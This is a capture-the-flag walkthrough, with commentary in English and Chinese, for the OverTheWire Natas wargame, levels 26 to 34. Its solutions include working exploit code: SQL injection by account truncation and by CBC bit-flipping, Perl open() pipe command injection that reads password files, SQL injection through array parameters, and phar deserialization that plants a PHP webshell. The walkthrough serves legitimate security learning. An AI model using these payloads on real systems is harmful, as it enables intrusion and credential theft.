function checkCredentials($link,$usr,$pass){
97 collapsed lines
$user=mysqli_real_escape_string($link, $usr); $password=mysqli_real_escape_string($link, $pass);
$query = "SELECT username from users where username='$user' and password='$password' "; $res = mysqli_query($link, $query); if(mysqli_num_rows($res) > 0){ return True; } return False;}
function validUser($link,$usr){
$user=mysqli_real_escape_string($link, $usr);
$query = "SELECT * from users where username='$user'"; $res = mysqli_query($link, $query); if($res) { if(mysqli_num_rows($res) > 0) { return True; } } return False;}
function dumpData($link,$usr){
$user=mysqli_real_escape_string($link, trim($usr));
$query = "SELECT * from users where username='$user'"; $res = mysqli_query($link, $query); if($res) { if(mysqli_num_rows($res) > 0) { while ($row = mysqli_fetch_assoc($res)) { // thanks to Gobo for reporting this bug! //return print_r($row); return print_r($row,true); } } } return False;}
function createUser($link, $usr, $pass){
if($usr != trim($usr)) { echo "Go away hacker"; return False; }
//////////////////////////////////////////////////////////// $user=mysqli_real_escape_string($link, substr($usr, 0, 64)); $password=mysqli_real_escape_string($link, substr($pass, 0, 64)); ////////////////////////////////////////////////////////////
$query = "INSERT INTO users (username,password) values ('$user','$password')"; $res = mysqli_query($link, $query); if(mysqli_affected_rows($link) > 0){ return True; } return False;}
if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) { $link = mysqli_connect('localhost', 'natas27', '<censored>'); mysqli_select_db($link, 'natas27');
if(validUser($link,$_REQUEST["username"])) { //user exists, check creds if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){ echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>"; echo "Here is your data:<br>"; $data=dumpData($link,$_REQUEST["username"]); print htmlentities($data); } else{ echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>"; } } else { //user doesn't exist if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){ echo "User " . htmlentities($_REQUEST["username"]) . " was created!"; } }
mysqli_close($link);} else {?>
<form action="index.php" method="POST">Username: <input name="username"><br>Password: <input name="password" type="password"><br><input type="submit" value="login" /></form><?php } ?><div id="viewsource"><a href="index-source.html">View sourcecode</a></div></div></body></html>Trailing Space Truncation
# create userusername=natas28 xxx&password=aaa
# get passusername=natas28 &password=aaa
Welcome natas28 !Here is your data:Array ( [username] => natas28 [password] => <credential-redacted> )
<credential-redacted>
# note the user inserted wasnatas28 %[credential redacted]
level 27->level 28
CBC bit-flipping SQL injection. The search form encrypts the query with AES-CBC before passing to search.php, which decrypts it into a SQL LIKE query. In CBC mode, flipping a byte in ciphertext block N-1 corrupts the same byte in plaintext block N — we can inject arbitrary SQL.
import requestsfrom base64 import urlsafe_b64decode, urlsafe_b64encodefrom urllib.parse import unquote, quote
auth = ('natas28', '<credential-redacted>')url = 'http://natas28.natas.labs.overthewire.org'
def encrypt(query): r = requests.post(url + '/index.php', auth=auth, data={'query': query}, allow_redirects=False) return urlsafe_b64decode(unquote(r.headers['Location'].split('query=')[1]))
def search(ct): enc = urlsafe_b64encode(ct).decode().rstrip('=') r = requests.get(url + '/search.php', auth=auth, params={'query': quote(enc)}) return r.text
# Step 1 — Determine block structure by comparing different lengthsct_short = encrypt('x' * 10)19 collapsed lines
ct_long = encrypt('x' * 26)print(f"10x: {len(ct_short)//16} blk, 26x: {len(ct_long)//16} blk")
# Step 2 — Get a known-plaintext reference# Encrypt padding characters to find which ciphertext blocks# correspond to our input, then XOR-flip the PREVIOUS block# to rewrite the decrypted plaintext
# The SQL decrypted is roughly:# SELECT * FROM jokes WHERE joke LIKE BINARY '%[INPUT]%'# We want:# SELECT * FROM jokes WHERE joke LIKE BINARY '%' UNION SELECT password FROM users-- -'
# The CBC trick:# P[i] = Decrypt(C[i]) XOR C[i-1]# To set P[i][j] = target_byte, we need:# C[i-1][j] = current_C[i-1][j] XOR current_P[i][j] XOR target_byte
# Since we don't know current_P[i], we encrypt a known pattern,# capture C[i-1], then derive the XOR delta from what we WANT vs# what's ALREADY in the decrypted plaintext (inferable from the SQL template).
# Full exploit script (standard approach for this level):# 1. Encrypt 'a'*50 to learn which blocks contain our data# 2. Determine position of the trailing % and close quote# 3. Flip the ciphertext bytes to turn '%' into "' UNION SELECT..."# 4. Append dummy block to consume the trailing SQL[credential redacted]
level 28->level 29
Perl CGI file inclusion. The file parameter is opened as $f.txt. A pipe | at the end makes it a shell command. Filter blocks ‘natas’ but wildcards bypass it.
curl -s -u natas29:<credential-redacted> \ 'http://natas29.natas.labs.overthewire.org/index.pl?file=%7Ccat+/etc/*tas_webpass/*tas30%00'#!/usr/bin/perluse CGI qw(:standard);
## morla /10111# '$_=qw/ljttft3dvu{/,s/./print chr ord($&)-1/eg'#
if(param('file')){ $f=param('file'); if($f=~/natas/){ print "meeeeeep!<br>"; } else{ open(FD, "$f.txt");
# Perl 里如果传给 open 的文件名以 | 结尾,Perl 不会打开文件,而是把它当 shell 命令执行。# open(FD, "ls -la |"); # 执行 ls -la,读取输出# open(FD, "| cat /etc/passwd"); # 也能写,输出重定向进文件
print "<pre>"; while (<FD>){ print CGI::escapeHTML($_); } print "</pre>"; }}# Pipe + null byte bypasses the .txt append# %7C = |, %00 = null byte# /etc/*tas_webpass/*tas30 bypasses 'natas' filtercurl -s -u natas29:<credential-redacted> \ 'http://natas29.natas.labs.overthewire.org/index.pl?file=%7Ccat+/etc/*tas_webpass/*tas30%00'现代 Perl(5.8+)已经明确弃用了 null byte 截断行为,use open 或 use autodie 会避免这类问题。
Perl CGI 在主流网站的活跃期大约是 1995-2005。这之后:
- 2005-2010:PHP(LAMP stack)全面取代 Perl 成为动态网站的默认选择
- 2010-2015:Ruby on Rails / Django 等现代框架崛起
- 2015-至今:Node.js / Go / Rust / 前后端分离
今天在生产环境中运行 Perl CGI 的网站,基本只有两类:
- 上世纪遗留的系统,无人敢动
- 极小众的 Perl 死忠个人站点
这几个漏洞(Perl open 的 pipe 模式、null byte 截断、CGI 多参类型混淆)在实际工作中遇到的可能性接近零。Perl CGI 的生产部署已经消亡了,剩下的也在迁移。
但 Natas 的设计有其历史背景,OverTheWire 的 Natas 是 2010 年前后创建的,当时 Perl CGI 虽然已经不是主流但还不算化石。
这些挑战没有随时代更新,所以越靠后的关卡越不合常规。
[credential redacted]
level 29->level 30
Perl CGI SQL injection. $dbh->quote() normally prevents injection, but passing two password params makes it an array, bypassing quote().
curl -s -u natas30:<credential-redacted> \ --data-urlencode 'username=natas31' \ --data-urlencode "password='' or 1=1" \ --data-urlencode 'password=2' \ 'http://natas30.natas.labs.overthewire.org/index.pl'#!/usr/bin/perluse CGI qw(:standard);use DBI;
if ('POST' eq request_method && param('username') && param('password')){ my $dbh = DBI->connect( "DBI:mysql:natas30","natas30", "<censored>", {'RaiseError' => 1}); my $query="Select * FROM users where username =".$dbh->quote(param('username')) . " and password =".$dbh->quote(param('password'));
my $sth = $dbh->prepare($query); $sth->execute(); my $ver = $sth->fetch(); if ($ver){ print "win!<br>"; print "here is your result:<br>"; print @$ver; } else{ print "fail :("; } $sth->finish(); $dbh->disconnect();}Result: natas31:<credential-redacted>
[credential redacted]
level 30->level 31
Perl CGI RCE via open() pipe injection. The CSV parser reads with <$file>. Setting file=ARGV as a text field makes it open @ARGV. URL query params become @ARGV; a trailing | executes as shell command.
curl -s -u natas31:<credential-redacted> \ -F 'file=ARGV' \ -F 'file=@/dev/stdin;filename=data.csv;type=text/csv' <<< '1,2,3' \ 'http://natas31.natas.labs.overthewire.org/index.pl?cat+/etc/natas_webpass/natas32+|'Using Python (more reliable multipart):
import requestsauth = ('natas31', '<credential-redacted>')url = 'http://natas31.natas.labs.overthewire.org/index.pl?cat+/etc/natas_webpass/natas32+|'data = {'file': 'ARGV'}files = {'file': ('data.csv', b'1,2,3\n', 'text/csv')}r = requests.post(url, auth=auth, data=data, files=files)print(r.text)[credential redacted]
level 31->level 32
Same RCE technique, but ./getpassword binary in webroot — stderr needs redirect.
The command ./getpassword outputs to stderr, so ./getpassword| alone fails. Append 2>&1:
curl -s -u natas32:<credential-redacted> \ -F 'file=ARGV' \ -F 'file=@/dev/stdin;filename=data.csv;type=text/csv' <<< '1,2,3' \ 'http://natas32.natas.labs.overthewire.org/index.pl?./getpassword+2>%261+|'import requestsauth = ('natas32', '<credential-redacted>')url = 'http://natas32.natas.labs.overthewire.org/index.pl?./getpassword 2>&1|'data = {'file': 'ARGV'}files = {'file': ('data.csv', b'1,2,3\n', 'text/csv')}r = requests.post(url, auth=auth, data=data, files=files)print(r.text)[credential redacted]
level 32->level 33
PHP phar unserialization via md5_file() + phar:// wrapper. The Executor class uploads a file then checks md5_file($filename) == $signature. By crafting a phar archive with serialized metadata, we overwrite $filename and $signature when the phar is opened via phar://.
PHP 里 .phar 文件(PHP Archive)是一种打包格式,结构是:
[Stub] [Manifest] [File Contents] [Signature] ↑ Metadata(序列化的 PHP 对象)当使用 phar:// 包装器打开一个 phar 文件时(比如 md5_file(“phar://exploit.phar/b”)),PHP 会自动反序列化 Manifest 里的 metadata,不需要调用 unserialize()。
md5_file("phar://exploit.phar/b"); // 1. 打开 phar 文件 // 2. 解析 Manifest // 3. 反序列化 metadata → 触发 __destruct() → 攻击开始Step 1 — Upload a PHP webshell:
echo '<?php echo file_get_contents("/etc/natas_webpass/natas34"); ?>' > /tmp/shell.phpcurl -s -u natas33:<credential-redacted> \ -F 'filename=shell.php' \ -F 'uploadedfile=@/tmp/shell.php' \ 'http://natas33.natas.labs.overthewire.org/index.php'Step 2 — Generate a phar file whose metadata sets filename=shell.php and signature=<MD5 of shell.php>:
export SIG=$(md5sum /tmp/shell.php | cut -d' ' -f1)php -d phar.readonly=0 << 'PHAREOF'<?phpclass Executor { public $filename = "shell.php"; public $signature = ""; public $init = False;}$e = new Executor();$e->signature = getenv('SIG');if (!is_string($e->signature) || !preg_match('/^[0-9a-f]{32}$/D', $e->signature)) { throw new RuntimeException('SIG must contain the shell.php MD5 digest');}$f = "/tmp/exploit.phar";@unlink($f);$p = new Phar($f, 0, "x.phar");$p->setSignatureAlgorithm(Phar::SHA1);$p->startBuffering();$p->setStub('<?php __HALT_COMPILER(); ?>');$p->setMetadata($e);$p->addFromString("b", "b");$p->stopBuffering();PHAREOFStep 3 — Upload the phar, then trigger deserialization via phar://:
# Upload phar as regular filecurl -s -u natas33:<credential-redacted> \ -F "filename=exploit.phar" \ -F "uploadedfile=@/tmp/exploit.phar" \ 'http://natas33.natas.labs.overthewire.org/index.php'
# Trigger phar deserialization — filename=phar://./exploit.phar/b# The constructor fails to save (path with ://), but destructor# chdir to /natas33/upload/ and calls md5_file("phar://./exploit.phar/b")# which opens the phar, deserializes metadata, overwriting $filename# and $signature, then md5_file("shell.php") matches and runs passthrucurl -s -u natas33:<credential-redacted> \ -F "filename=phar://./exploit.phar/b" \ -F "uploadedfile=@/dev/null;filename=x;type=text/plain" \ 'http://natas33.natas.labs.overthewire.org/index.php'该路径依赖 PHP 8.0 之前的 PHAR metadata 自动反序列化行为。PHP 8.0 起,通过 phar:// 打开文件不会自动反序列化 metadata,显式调用 Phar::getMetadata() 仍可反序列化。phar.readonly 限制创建或修改 PHAR,不禁止读取;phar 流包装器默认仍注册。生成端用 phar.readonly=0 写入文件,不能据此判断目标端是否可利用。
[credential redacted]
level 33->level 34
http://natas34.natas.labs.overthewire.org/Congratulations! You've completed Natas!